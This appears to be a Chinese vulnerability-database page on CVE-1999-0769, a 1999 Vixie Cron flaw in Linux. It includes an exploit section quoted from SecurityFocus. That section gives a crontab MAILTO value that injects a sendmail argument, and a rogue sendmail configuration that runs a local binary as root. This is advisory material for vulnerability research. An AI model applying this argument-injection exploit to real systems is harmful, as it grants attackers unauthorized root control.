Vixie Cron MAILTO发送邮件漏洞

Vixie Cron MAILTO发送邮件漏洞

漏洞ID 1105523 漏洞类型 输入验证
发布时间 1999-08-25 更新时间 2005-05-02
图片[1]-Vixie Cron MAILTO发送邮件漏洞-安全小百科CVE编号 CVE-1999-0769
图片[2]-Vixie Cron MAILTO发送邮件漏洞-安全小百科CNNVD-ID CNNVD-199908-052
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19474
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199908-052
|漏洞详情
基于Linux系统的VixieCron存在漏洞。本地用户可以借助MAILTO环境变量设置发送邮件命令的参数。
|漏洞EXP
Caldera OpenLinux 2.2 ,Debian Linux 2.1/2.2,RedHat Linux <= 6.0 Vixie Cron MAILTO Sendmail Vulnerability

source: http://www.securityfocus.com/bid/611/info

Failure by the vixie cron daemon from validating the contents of a user supplied environment variable allow a malicious users to pass arbitrary command line arguments to sendmail while running as the root user.

The cron daemon uses the cron_popen function to send email to the user that queue commands for execution by cron. The user can set a MAILTO environment variable before calling cron to have it send the email to a different address. The cron daemon passes the contents of this environment variable to sendmail via the command line while executing as the root user. This allow a local malicious user to obtain root access. 


Set the user's crontab to

MAILTO=" -C/tmp/myexploitsendmail.cf"
* * * * * ls

In /tmp/myexploitsendmail.cf you basically modify the local mailer:

O DefaultUser=root:root
Mlocal, P=/tmp/hackme, F=lsDFMAw5:/|@qXfmnz9, S=10/30,
R=20/40,
T=DNS/RFC822/X-Unix,
A=mail.local -l

i.e. remove the S flag, and set DefaultUser.
|参考资料

来源:BID
名称:611
链接:http://www.securityfocus.com/bid/611

相关推荐: Sun Cobalt RaQ 4.0 – Predictable Temporary Filename Symbolic Link Attack

Sun Cobalt RaQ 4.0 – Predictable Temporary Filename Symbolic Link Attack 漏洞ID 1053595 漏洞类型 发布时间 2002-06-28 更新时间 2002-06-28 CVE编号 N…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享